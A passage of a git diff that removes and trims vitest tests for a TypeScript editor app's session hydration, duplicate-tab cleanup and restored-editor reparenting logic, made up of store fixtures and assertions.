-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-createStoreSessionMockApi()
-
-const WORKTREE_ID = 'repo-1::/workspace'
-const FILE_PATH = '/workspace/.scratch/preview.png'
-const SSH_FOLDER_ID = 'ssh-folder'
-const SSH_FOLDER_KEY = folderWorkspaceKey(SSH_FOLDER_ID)
-const SSH_FILE_PATH = '/srv/workspace/.scratch/preview.png'
-
-function prepareStore() {
-  const store = createTestStore()
-  store.setState({
-    repos: [
-      { id: 'repo-1', path: '/workspace', displayName: 'Repo', badgeColor: '#000', addedAt: 0 }
-    ],
-    worktreesByRepo: {
-      'repo-1': [makeWorktree({ id: WORKTREE_ID, repoId: 'repo-1', path: '/workspace' })]
-    },
-    activeWorktreeId: WORKTREE_ID
-  })
-  return store
-}
-
-function prepareSshFolderStore() {
-  const store = createTestStore()
-  store.setState({
-    folderWorkspaces: [
-      {
-        id: SSH_FOLDER_ID,
-        projectGroupId: 'ssh-project',
-        name: 'SSH folder',
-        folderPath: '/srv/workspace',
-        connectionId: 'ssh-target',
-        linkedTask: null,
-        comment: '',
-        isArchived: false,
-        isUnread: false,
-        isPinned: false,
-        sortOrder: 0,
-        lastActivityAt: 0,
-        createdAt: 1,
-        updatedAt: 1
-      }
-    ],
-    activeWorktreeId: SSH_FOLDER_KEY
-  })
-  return store
-}
-
-function corruptSession(worktreeId = WORKTREE_ID, filePath = FILE_PATH): WorkspaceSessionState {
-  const persistedFile = {
-    filePath,
-    relativePath: '.scratch/preview.png',
-    worktreeId,
-    language: 'image'
-  }
-  const editorTab = (id: string, sortOrder: number) => ({
-    id,
-    entityId: filePath,
-    groupId: 'group-restored',
-    worktreeId,
-    contentType: 'editor' as const,
-    label: 'preview.png',
-    customLabel: null,
-    color: null,
-    sortOrder,
-    createdAt: 1_788_002_466_152
-  })
-  return {
-    activeRepoId: 'repo-1',
-    activeWorktreeId: worktreeId,
-    activeTabId: null,
-    tabsByWorktree: {},
-    terminalLayoutsByTabId: {},
-    openFilesByWorktree: {
-      [worktreeId]: [persistedFile, { ...persistedFile }, { ...persistedFile }]
-    },
-    activeFileIdByWorktree: { [worktreeId]: `editor:stale-pane:${filePath}` },
-    activeTabTypeByWorktree: { [worktreeId]: 'editor' },
-    unifiedTabs: {
-      [worktreeId]: [editorTab('editor-restored-a', 0), editorTab('editor-restored-b', 1)]
-    },
-    tabGroups: {
-      [worktreeId]: [
-        {
-          id: 'group-restored',
-          worktreeId,
-          activeTabId: `editor:third-pane:${filePath}`,
-          tabOrder: [`editor:third-pane:${filePath}`]
-        }
-      ]
-    },
-    activeGroupIdByWorktree: { [worktreeId]: 'group-restored' }
-  }
-}
-
-async function closeAndRestart(
-  prepare: typeof prepareStore,
-  session: WorkspaceSessionState,
-  workspaceId: string
-) {
-  const store = prepare()
-  store.getState().hydrateTabsSession(session)
-  store.getState().hydrateEditorSession(session)
-  const main = await drawTabsFromMain(store)
-
-  expect.soft(store.getState().openFiles).toHaveLength(1)
-  expect.soft(store.getState().unifiedTabsByWorktree[workspaceId]).toHaveLength(1)
-
-  const activeFileId = store.getState().activeFileIdByWorktree[workspaceId]
-  expect(activeFileId).toBeTruthy()
-  store.getState().closeFile(activeFileId!)
-  // A layout-owner build closes the tab in main; the tab and its file go with the frame.
-  await main.settle()
-  main.close()
-
-  const persistedAfterClose = buildWorkspaceSessionPayload(store.getState())
-  const restartedStore = prepare()
-  restartedStore.getState().hydrateTabsSession(persistedAfterClose)
-  restartedStore.getState().hydrateEditorSession(persistedAfterClose)
-  return restartedStore.getState()
-}
-
-describe('corrupt editor session restore', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-  })
-
-  it('does not preserve duplicate records that resurrect a closed editor', async () => {
-    const restarted = await closeAndRestart(prepareStore, corruptSession(), WORKTREE_ID)
-    expect(restarted.openFiles).toEqual([])
-    expect(restarted.unifiedTabsByWorktree[WORKTREE_ID] ?? []).toEqual([])
-  })
-
-  it('cleans the same corruption for an SSH-hosted folder workspace', async () => {
-    const restarted = await closeAndRestart(
-      prepareSshFolderStore,
-      corruptSession(SSH_FOLDER_KEY, SSH_FILE_PATH),
-      SSH_FOLDER_KEY
-    )
-    expect(restarted.openFiles).toEqual([])
-    expect(restarted.unifiedTabsByWorktree[SSH_FOLDER_KEY] ?? []).toEqual([])
-  })
-
-  it('rewrites group references from a duplicate editor row to the survivor', () => {
-    const store = prepareStore()
-    const session = corruptSession()
-    session.tabGroups![WORKTREE_ID]![0] = {
-      ...session.tabGroups![WORKTREE_ID]![0],
-      activeTabId: 'editor-restored-b',
-      tabOrder: ['editor-restored-b'],
-      recentTabIds: ['editor-restored-b']
-    }
-
-    store.getState().hydrateTabsSession(session)
-
-    expect(store.getState().unifiedTabsByWorktree[WORKTREE_ID].map((tab) => tab.id)).toEqual([
-      'editor-restored-a'
-    ])
-    expect(store.getState().groupsByWorktree[WORKTREE_ID][0]).toEqual(
-      expect.objectContaining({
-        activeTabId: 'editor-restored-a',
-        tabOrder: ['editor-restored-a'],
-        recentTabIds: ['editor-restored-a']
-      })
-    )
-  })
-
-  it('does not redirect a stale alias reference into another group', () => {
-    const store = prepareStore()
-    const session = corruptSession()
-    const [left, right] = session.unifiedTabs![WORKTREE_ID]!
-    session.unifiedTabs![WORKTREE_ID] = [
-      { ...left, id: 'editor-group-a-left', groupId: 'group-a' },
-      { ...right, id: 'editor-group-a-duplicate', groupId: 'group-a' },
-      {
-        ...right,
-        id: 'editor-group-b',
-        entityId: '/workspace/.scratch/other.png',
-        groupId: 'group-b',
-        label: 'other.png',
-        sortOrder: 2
-      }
-    ]
-    session.tabGroups![WORKTREE_ID] = [
-      {
-        id: 'group-a',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'editor-group-a-duplicate',
-        tabOrder: ['editor-group-a-left', 'editor-group-a-duplicate']
-      },
-      {
-        id: 'group-b',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'editor-group-b',
-        // This stale reference must not be rewritten with group-a's alias.
-        tabOrder: ['editor-group-a-duplicate', 'editor-group-b']
-      }
-    ]
-
-    store.getState().hydrateTabsSession(session)
-
-    expect(store.getState().groupsByWorktree[WORKTREE_ID]).toEqual([
-      expect.objectContaining({ id: 'group-a', tabOrder: ['editor-group-a-left'] }),
-      expect.objectContaining({ id: 'group-b', tabOrder: ['editor-group-b'] })
-    ])
-  })
-
-  it('preserves shared editor entities in separate split groups', () => {
-    const store = prepareStore()
-    const session = corruptSession()
-    const [left, right] = session.unifiedTabs![WORKTREE_ID]!
-    session.unifiedTabs![WORKTREE_ID] = [
-      { ...left, id: 'editor-left', groupId: 'group-left' },
-      { ...right, id: 'editor-right', groupId: 'group-right' }
-    ]
-    session.tabGroups![WORKTREE_ID] = [
-      {
-        id: 'group-left',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'editor-left',
-        tabOrder: ['editor-left']
-      },
-      {
-        id: 'group-right',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'editor-right',
-        tabOrder: ['editor-right']
-      }
-    ]
-
-    store.getState().hydrateTabsSession(session)
-    store.getState().hydrateEditorSession(session)
-
-    expect(store.getState().openFiles).toHaveLength(1)
-    expect(store.getState().unifiedTabsByWorktree[WORKTREE_ID].map((tab) => tab.id)).toEqual([
-      'editor-left',
-      'editor-right'
-    ])
-  })
-
-  it('does not let a globally duplicated id hydrate into another group', () => {
-    const store = prepareStore()
-    const session = corruptSession()
-    session.unifiedTabs![WORKTREE_ID] = [
-      {
-        ...session.unifiedTabs![WORKTREE_ID]![0],
-        id: 'shared-id',
-        entityId: '/workspace/.scratch/group-a.png',
-        groupId: 'group-a',
-        label: 'group-a.png',
-        sortOrder: 0
-      },
-      {
-        ...session.unifiedTabs![WORKTREE_ID]![1],
-        id: 'shared-id',
-        entityId: '/workspace/.scratch/group-b.png',
-        groupId: 'group-b',
-        label: 'group-b.png',
-        sortOrder: 1
-      },
-      {
-        ...session.unifiedTabs![WORKTREE_ID]![1],
-        id: 'group-b-only',
-        entityId: '/workspace/.scratch/group-b-only.png',
-        groupId: 'group-b',
-        label: 'group-b-only.png',
-        sortOrder: 2
-      }
-    ]
-    session.tabGroups![WORKTREE_ID] = [
-      {
-        id: 'group-a',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'shared-id',
-        tabOrder: ['shared-id']
-      },
-      {
-        id: 'group-b',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'shared-id',
-        tabOrder: ['shared-id', 'group-b-only']
-      }
-    ]
-
-    store.getState().hydrateTabsSession(session)
-
-    expect(store.getState().groupsByWorktree[WORKTREE_ID]).toEqual([
-      expect.objectContaining({ id: 'group-a', tabOrder: ['shared-id'] }),
-      expect.objectContaining({ id: 'group-b', tabOrder: ['group-b-only'], activeTabId: null })
-    ])
-  })
-
-  it('keeps a stale cross-group reference away from a surviving declared owner', () => {
-    const store = prepareStore()
-    const session = corruptSession()
-    session.unifiedTabs![WORKTREE_ID] = [
-      {
-        ...session.unifiedTabs![WORKTREE_ID]![0],
-        id: 'shared-id',
-        entityId: '/workspace/.scratch/shared.png',
-        groupId: 'group-a',
-        label: 'shared.png',
-        sortOrder: 0
-      },
-      {
-        ...session.unifiedTabs![WORKTREE_ID]![0],
-        id: 'group-a-only',
-        entityId: '/workspace/.scratch/group-a-only.png',
-        groupId: 'group-a',
-        label: 'group-a-only.png',
-        sortOrder: 1
-      },
-      {
-        ...session.unifiedTabs![WORKTREE_ID]![1],
-        id: 'group-b-only',
-        entityId: '/workspace/.scratch/group-b-only.png',
-        groupId: 'group-b',
-        label: 'group-b-only.png',
-        sortOrder: 2
-      }
-    ]
-    session.tabGroups![WORKTREE_ID] = [
-      {
-        id: 'group-b',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'shared-id',
-        tabOrder: ['shared-id', 'group-b-only']
-      },
-      {
-        id: 'group-a',
-        worktreeId: WORKTREE_ID,
-        activeTabId: 'group-a-only',
-        tabOrder: ['group-a-only']
-      }
-    ]
-
-    store.getState().hydrateTabsSession(session)
-
-    expect(store.getState().groupsByWorktree[WORKTREE_ID]).toEqual([
-      expect.objectContaining({ id: 'group-b', tabOrder: ['group-b-only'], activeTabId: null }),
-      expect.objectContaining({
-        id: 'group-a',
-        tabOrder: ['group-a-only', 'shared-id'],
-        activeTabId: 'group-a-only'
-      })
-    ])
-  })
-})
diff --git a/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts b/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts
index d9254db97ac..cfe15809ce1 100644
--- a/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts
+++ b/src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts
@@ -1,15 +1,8 @@
 // @vitest-environment happy-dom
 
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { act, createElement } from 'react'
-import { createRoot } from 'react-dom/client'
 import { useAppStore } from '@/store/index'
 import { buildEditorSessionData } from '@/lib/workspace/persistence/workspace-session'
-import { useEditorExternalWatch } from '@/hooks/useEditorExternalWatch'
-import {
-  buildEditorExternalWatchEventHandler as createExternalWatchEventHandler,
-  EXTERNAL_MUTATION_DEBOUNCE_MS
-} from '@/hooks/editor-external-watch-event-reconciliation'
 import '@/hooks/editor-external-watch-targets'
 import { captureEditorFileOperationProvenance } from '@/lib/editor/file-operations/editor-file-operation-provenance'
 import { getEditorFileOperationContext } from '@/lib/editor/file-operations/editor-file-operation-owner'
@@ -36,11 +29,6 @@ const SOURCE = 'repo-a::/repo-a'
 const TARGET = 'repo-b::/repo-b'
 const FILE_PATH = '/repo-b/docs/readme.md'
 
-function WatchProbe(): null {
-  useEditorExternalWatch()
-  return null
-}
-
 function installWorkspaceState(): void {
   useAppStore.setState(useAppStore.getInitialState(), true)
   useAppStore.setState({
@@ -140,7 +128,7 @@ describe('restored editor owner reparent', () => {
         fileId: oldId,
         worktreeId: SOURCE,
         viewStateId: 'view-1',
-        expiresAt: Date.now() + 1_000,
+        expiresAt: Number.MAX_SAFE_INTEGER,
         token: 1
       },
       pendingExplorerReveal: { worktreeId: SOURCE, filePath: FILE_PATH, requestId: 1 },
@@ -212,132 +200,6 @@ describe('restored editor owner reparent', () => {
     expect(next.pendingExplorerReveal?.worktreeId).toBe(TARGET)
   })
 
-  it('commits active reparenting through the complete workspace activation projection', async () => {
-    const oldId = await openDrawnRestoredSource()
-    const refreshGitHubForWorktreeIfStale = vi.fn()
-    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: partial terminal, browser and catalog records with only the fields activation and frames read.
-    useAppStore.setState({
-      activeTabId: 'source-terminal',
-      activeBrowserTabId: 'source-browser',
-      activePendingCreationId: 'source-creation',
-      rightSidebarExplorerView: 'files',
-      rightSidebarExplorerViewByWorktree: { [TARGET]: 'search' },
-      tabsByWorktree: {
-        [SOURCE]: [
-          {
-            id: 'source-terminal',
-            ptyId: null,
-            worktreeId: SOURCE,
-            title: 'Source terminal',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1,
-            generation: 1
-          }
-        ],
-        [TARGET]: [
-          {
-            id: 'target-terminal',
-            ptyId: null,
-            worktreeId: TARGET,
-            title: 'Target terminal',
-            customTitle: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1,
-            generation: 4
-          }
-        ]
-      },
-      activeTabIdByWorktree: {
-        [SOURCE]: 'source-terminal',
-        [TARGET]: 'target-terminal'
-      },
-      unifiedTabsByWorktree: {
-        ...useAppStore.getState().unifiedTabsByWorktree,
-        [TARGET]: [
-          {
-            id: 'target-terminal',
-            entityId: 'target-terminal',
-            groupId: 'target-group',
-            worktreeId: TARGET,
-            contentType: 'terminal',
-            label: 'Target terminal',
-            customLabel: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      },
-      groupsByWorktree: {
-        ...useAppStore.getState().groupsByWorktree,
-        [TARGET]: [
-          {
-            id: 'target-group',
-            worktreeId: TARGET,
-            activeTabId: 'target-terminal',
-            tabOrder: ['target-terminal']
-          }
-        ]
-      },
-      layoutByWorktree: {
-        ...useAppStore.getState().layoutByWorktree,
-        [TARGET]: { type: 'leaf', groupId: 'target-group' }
-      },
-      activeGroupIdByWorktree: {
-        ...useAppStore.getState().activeGroupIdByWorktree,
-        [TARGET]: 'target-group'
-      },
-      browserTabsByWorktree: {
-        [SOURCE]: [{ id: 'source-browser', url: 'about:blank' }],
-        [TARGET]: [{ id: 'target-browser', url: 'about:blank' }]
-      },
-      activeBrowserTabIdByWorktree: {
-        [SOURCE]: 'source-browser',
-        [TARGET]: 'target-browser'
-      },
-      everActivatedWorktreeIds: new Set([SOURCE]),
-      refreshGitHubForWorktreeIfStale
-    } as unknown as Partial<AppState>)
-    // Reload main with the target tabs a real window would already have drawn.
-    main.close()
-    main = await drawTabsFromMain(useAppStore)
-    const targetSnapshots: AppState[] = []
-    const unsubscribe = useAppStore.subscribe((state) => {
-      if (state.activeWorktreeId === TARGET) {
-        targetSnapshots.push(state)
-      }
-    })
-
-    const result = reparent(oldId)
-    await main.settle()
-    unsubscribe()
-
-    expect(result.ok).toBe(true)
-    expect(targetSnapshots).toHaveLength(1)
-    const activated = targetSnapshots[0]
-    expect(activated).toMatchObject({
-      activeWorktreeId: TARGET,
-      activeRepoId: 'repo-b',
-      activeWorkspaceExecutionHostId: 'local',
-      activeTabId: 'target-terminal',
-      activeBrowserTabId: 'target-browser',
-      activePendingCreationId: null,
-      rightSidebarExplorerView: 'search',
-      activeTabType: 'editor'
-    })
-    expect(activated.activeFileId).toBe(result.ok ? result.fileId : null)
-    expect(activated.everActivatedWorktreeIds).toEqual(new Set([SOURCE, TARGET]))
-    expect(activated.tabsByWorktree[TARGET]?.[0]).toMatchObject({
-      id: 'target-terminal',
-      generation: 5
-    })
-    expect(refreshGitHubForWorktreeIfStale).toHaveBeenCalledOnce()
-    expect(refreshGitHubForWorktreeIfStale).toHaveBeenCalledWith(TARGET)
-  })
-
   it('persists and restores the destination owner and dirty hot-exit draft', () => {
     const oldId = openRestoredSource()
     useAppStore.getState().setEditorDraft(oldId, 'hot exit')
@@ -369,174 +231,4 @@ describe('restored editor owner reparent', () => {
     })
     expect(useAppStore.getState().editorDrafts[restored.id]).toBe('hot exit')
   })
-
-  it('leaves destination tabs and groups byte-identical when activation hits a collision', async () => {
-    const sourceId = await openDrawnRestoredSource()
-    const destinationId = useAppStore.getState().openFile(
-      {
-        filePath: FILE_PATH,
-        relativePath: 'docs/readme.md',
-        worktreeId: TARGET,
-        runtimeEnvironmentId: null,
-        language: 'markdown',
-        mode: 'edit'
-      },
-      { suppressActiveRuntimeFallback: true }
-    )
-    await main.settle()
-    const destinationTab = useAppStore
-      .getState()
-      .unifiedTabsByWorktree[TARGET]?.find((tab) => tab.entityId === destinationId)
-    expect(destinationTab).toBeDefined()
-    const staleTab = {
-      ...destinationTab!,
-      id: 'stale-target-tab',
-      entityId: 'stale-target-file'
-    }
-    useAppStore.setState((state) => ({
-      activeWorktreeId: SOURCE,
-      activeFileId: sourceId,
-      unifiedTabsByWorktree: {
-        ...state.unifiedTabsByWorktree,
-        [TARGET]: [...(state.unifiedTabsByWorktree[TARGET] ?? []), staleTab]
-      },
-      groupsByWorktree: {
-        ...state.groupsByWorktree,
-        [TARGET]: (state.groupsByWorktree[TARGET] ?? []).map((group) =>
-          group.id === staleTab.groupId
-            ? {
-                ...group,
-                activeTabId: staleTab.id,
-                tabOrder: [...group.tabOrder, staleTab.id],
-                recentTabIds: [...(group.recentTabIds ?? []), staleTab.id]
-              }
-            : group
-        )
-      }
-    }))
-    const state = useAppStore.getState()
-    state.setRestoredEditorOwnerMigrationPending(sourceId, true)
-    const before = useAppStore.getState()
-
-    const result = before.reparentRestoredEditorFileOwner({
-      fileId: sourceId,
-      targetWorktreeId: TARGET,
-      targetRelativePath: 'docs/readme.md',
-      targetExecutionHostId: 'local',
-      targetRuntimeEnvironmentId: null,
-      targetOperationProvenance: captureEditorFileOperationProvenance(before, TARGET, null, true)
-    })
-
-    expect(result).toEqual({ ok: false, reason: 'collision' })
-    const after = useAppStore.getState()
-    expect(after.unifiedTabsByWorktree).toBe(before.unifiedTabsByWorktree)
-    expect(after.groupsByWorktree).toBe(before.groupsByWorktree)
-    expect(after.layoutByWorktree).toBe(before.layoutByWorktree)
-    expect(after.activeGroupIdByWorktree).toBe(before.activeGroupIdByWorktree)
-    expect(after.activeWorktreeId).toBe(SOURCE)
-    expect(after.activeFileId).toBe(sourceId)
-  })
-
-  it('unsubscribes the source watch once and subscribes the destination once', async () => {
-    const watchWorktree = vi.fn().mockResolvedValue(undefined)
-    const unwatchWorktree = vi.fn().mockResolvedValue(undefined)
-    const previousApi = (window as unknown as { api?: unknown }).api
-    ;(window as unknown as { api: unknown }).api = {
-      fs: {
-        watchWorktree,
-        unwatchWorktree,
-        onFsChanged: vi.fn(() => vi.fn())
-      }
-    }
-    const oldId = openRestoredSource()
-    const container = document.body.appendChild(document.createElement('div'))
-    const root = createRoot(container)
-    await act(async () => root.render(createElement(WatchProbe)))
-    await vi.waitFor(() => expect(watchWorktree).toHaveBeenCalledTimes(1))
-    expect(watchWorktree).toHaveBeenLastCalledWith({
-      worktreePath: '/repo-a',
-      connectionId: undefined
-    })
-
-    await act(async () => {
-      expect(reparent(oldId).ok).toBe(true)
-    })
-    await vi.waitFor(() => {
-      expect(unwatchWorktree).toHaveBeenCalledTimes(1)
-      expect(watchWorktree).toHaveBeenCalledTimes(2)
-    })
-    expect(unwatchWorktree).toHaveBeenLastCalledWith({
-      worktreePath: '/repo-a',
-      connectionId: undefined
-    })
-    expect(watchWorktree).toHaveBeenLastCalledWith({
-      worktreePath: '/repo-b',
-      connectionId: undefined
-    })
-
-    await act(async () => root.unmount())
-    container.remove()
-    ;(window as unknown as { api?: unknown }).api = previousApi
-  })
-
-  it('correlates destination change, delete, and rename events after reparent', () => {
-    vi.useFakeTimers()
-    const oldId = openRestoredSource()
-    const result = reparent(oldId)
-    expect(result.ok).toBe(true)
-    if (!result.ok) {
-      return
-    }
-    const target = {
-      worktreeId: TARGET,
-      worktreePath: '/repo-b',
-      connectionId: undefined,
-      runtimeEnvironmentId: null
-    }
-    const externalChanges: unknown[] = []
-    const listener = (event: Event): void => {
-      externalChanges.push((event as CustomEvent).detail)
-    }
-    window.addEventListener('orca:editor-external-file-change', listener)
-    const watcher = createExternalWatchEventHandler((path, owner) =>
-      path === target.worktreePath && owner === null ? target : undefined
-    )
-
-    watcher.handleFsChanged({
-      worktreePath: '/repo-b',
-      events: [{ kind: 'update', absolutePath: FILE_PATH }]
-    })
-    vi.advanceTimersByTime(100)
-    expect(externalChanges).toContainEqual({
-      worktreeId: TARGET,
-      worktreePath: '/repo-b',
-      relativePath: 'docs/readme.md',
-      runtimeEnvironmentId: null
-    })
-
-    watcher.handleFsChanged({
-      worktreePath: '/repo-b',
-      events: [{ kind: 'delete', absolutePath: FILE_PATH }]
-    })
-    vi.advanceTimersByTime(EXTERNAL_MUTATION_DEBOUNCE_MS)
-    expect(
-      useAppStore.getState().openFiles.find((file) => file.id === result.fileId)?.externalMutation
-    ).toBe('deleted')
-    useAppStore.getState().setExternalMutation(result.fileId, null)
-
-    watcher.handleFsChanged({
-      worktreePath: '/repo-b',
-      events: [
-        { kind: 'delete', absolutePath: FILE_PATH },
-        { kind: 'create', absolutePath: '/repo-b/archive/readme.md' }
-      ]
-    })
-    expect(
-      useAppStore.getState().openFiles.find((file) => file.id === result.fileId)?.externalMutation
-    ).toBe('renamed')
-
-    watcher.dispose()
-    window.removeEventListener('orca:editor-external-file-change', listener)
-    vi.useRealTimers()
-  })
 })
diff --git a/src/renderer/src/store/slices/editor/hydration/store-session-editor-hydration.test.ts b/src/renderer/src/store/slices/editor/hydration/store-session-editor-hydration.test.ts
deleted file mode 100644
index ef5681a3f34..00000000000
--- a/src/renderer/src/store/slices/editor/hydration/store-session-editor-hydration.test.ts
+++ /dev/null
@@ -1,272 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
-import { createTestStore } from '../../../testing/app-store-test-fixture'
-import { makeWorktree } from '../../worktrees/worktree.test-fixture'
-import { createStoreSessionMockApi } from '../../../testing/app-store-session-api.test-fixture'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-createStoreSessionMockApi()
-
-function ownedEditorFileId(
-  filePath: string,
-  worktreeId: string,
-  runtimeEnvironmentId: string | null | undefined
-): string {
-  const runtimeKey = runtimeEnvironmentId?.trim() || 'local'
-  return `editor:${encodeURIComponent(worktreeId)}:${encodeURIComponent(runtimeKey)}:${encodeURIComponent(filePath)}`
-}
-
-describe('hydrateEditorSession', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-  })
-
-  it('restores floating workspace markdown files without a repo worktree', () => {
-    const store = createTestStore()
-    const filePath = '/orca/userData/floating-workspace/note.md'
-    const fileId = ownedEditorFileId(filePath, FLOATING_TERMINAL_WORKTREE_ID, null)
-
-    store.setState({ activeWorktreeId: FLOATING_TERMINAL_WORKTREE_ID })
-
-    store.getState().hydrateEditorSession({
-      activeRepoId: null,
-      activeWorktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-      activeTabId: null,
-      tabsByWorktree: {},
-      terminalLayoutsByTabId: {},
-      openFilesByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          {
-            filePath,
-            relativePath: 'note.md',
-            worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-            language: 'markdown',
-            runtimeEnvironmentId: null,
-            dirtyDraftContent: ''
-          }
-        ]
-      },
-      activeFileIdByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: '/orca/userData/floating-workspace/note.md'
-      },
-      activeTabTypeByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: 'editor' }
-    })
-
-    const s = store.getState()
-    expect(s.openFiles).toEqual([
-      expect.objectContaining({
-        id: fileId,
-        filePath,
-        worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-        runtimeEnvironmentId: null,
-        isDirty: true
-      })
-    ])
-    expect(s.editorDrafts).toEqual({ [fileId]: '' })
-    expect(s.markdownFrontmatterVisible).toEqual({})
-    expect(s.activeFileIdByWorktree[FLOATING_TERMINAL_WORKTREE_ID]).toBe(fileId)
-  })
-
-  it('keeps same-path local and runtime legacy references on their original owners', () => {
-    const store = createTestStore()
-    const wt = 'repo1::/path/wt1'
-    const filePath = '/path/wt1/src/app.ts'
-    const runtimeEnvironmentId = 'runtime-1'
-    const runtimeFileId = ownedEditorFileId(filePath, wt, runtimeEnvironmentId)
-    const groupId = 'group-same-path-owners'
-
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: wt, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      activeWorktreeId: wt
-    })
-
-    const session = {
-      activeRepoId: 'repo1',
-      activeWorktreeId: wt,
-      activeTabId: null,
-      tabsByWorktree: {},
-      terminalLayoutsByTabId: {},
-      openFilesByWorktree: {
-        [wt]: [
-          {
-            filePath,
-            relativePath: 'src/app.ts',
-            worktreeId: wt,
-            language: 'typescript'
-          },
-          {
-            filePath,
-            relativePath: 'src/app.ts',
-            worktreeId: wt,
-            language: 'typescript',
-            runtimeEnvironmentId
-          }
-        ]
-      },
-      activeFileIdByWorktree: { [wt]: filePath },
-      activeTabTypeByWorktree: { [wt]: 'editor' as const },
-      unifiedTabs: {
-        [wt]: [
-          {
-            id: filePath,
-            entityId: filePath,
-            groupId,
-            worktreeId: wt,
-            contentType: 'editor' as const,
-            label: 'app.ts',
-            customLabel: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          },
-          {
-            id: runtimeFileId,
-            entityId: runtimeFileId,
-            groupId,
-            worktreeId: wt,
-            contentType: 'editor' as const,
-            label: 'app.ts',
-            customLabel: null,
-            color: null,
-            sortOrder: 1,
-            createdAt: 2
-          }
-        ]
-      },
-      tabGroups: {
-        [wt]: [
-          {
-            id: groupId,
-            worktreeId: wt,
-            activeTabId: filePath,
-            tabOrder: [filePath, runtimeFileId],
-            recentTabIds: [runtimeFileId, filePath]
-          }
-        ]
-      },
-      activeGroupIdByWorktree: { [wt]: groupId }
-    }
-
-    store.getState().hydrateTabsSession(session)
-    store.getState().hydrateEditorSession(session)
-
-    const s = store.getState()
-    expect(s.openFiles).toEqual([
-      expect.objectContaining({
-        id: filePath,
-        filePath,
-        worktreeId: wt,
-        runtimeEnvironmentId: undefined
-      }),
-      expect.objectContaining({
-        id: runtimeFileId,
-        filePath,
-        worktreeId: wt,
-        runtimeEnvironmentId
-      })
-    ])
-    expect(s.activeFileIdByWorktree[wt]).toBe(filePath)
-    expect(s.unifiedTabsByWorktree[wt]?.map((tab) => tab.id)).toEqual([filePath, runtimeFileId])
-    expect(s.unifiedTabsByWorktree[wt]?.map((tab) => tab.entityId)).toEqual([
-      filePath,
-      runtimeFileId
-    ])
-    expect(s.groupsByWorktree[wt]?.[0]).toEqual(
-      expect.objectContaining({
-        activeTabId: filePath,
-        tabOrder: [filePath, runtimeFileId],
-        recentTabIds: [runtimeFileId, filePath]
-      })
-    )
-  })
-
-  it('migrates legacy floating unified tab file-path references to the hydrated owner id', () => {
-    const store = createTestStore()
-    const filePath = '/orca/userData/floating-workspace/README.md'
-    const fileId = ownedEditorFileId(filePath, FLOATING_TERMINAL_WORKTREE_ID, null)
-    const groupId = 'floating-group-legacy'
-
-    store.setState({ activeWorktreeId: FLOATING_TERMINAL_WORKTREE_ID })
-
-    const session = {
-      activeRepoId: null,
-      activeWorktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-      activeTabId: null,
-      tabsByWorktree: {},
-      terminalLayoutsByTabId: {},
-      openFilesByWorktree: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          {
-            filePath,
-            relativePath: 'README.md',
-            worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-            language: 'markdown',
-            runtimeEnvironmentId: null
-          }
-        ]
-      },
-      activeFileIdByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: filePath },
-      activeTabTypeByWorktree: { [FLOATING_TERMINAL_WORKTREE_ID]: 'editor' as const },
-      unifiedTabs: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          {
-            id: filePath,
-            entityId: filePath,
-            groupId,
-            worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-            contentType: 'editor' as const,
-            label: 'README.md',
-            customLabel: null,
-            color: null,
-            sortOrder: 0,
-            createdAt: 1
-          }
-        ]
-      },
-      tabGroups: {
-        [FLOATING_TERMINAL_WORKTREE_ID]: [
-          {
-            id: groupId,
-            worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-            activeTabId: filePath,
-            tabOrder: [filePath],
-            recentTabIds: [filePath]
-          }
-        ]
-      },
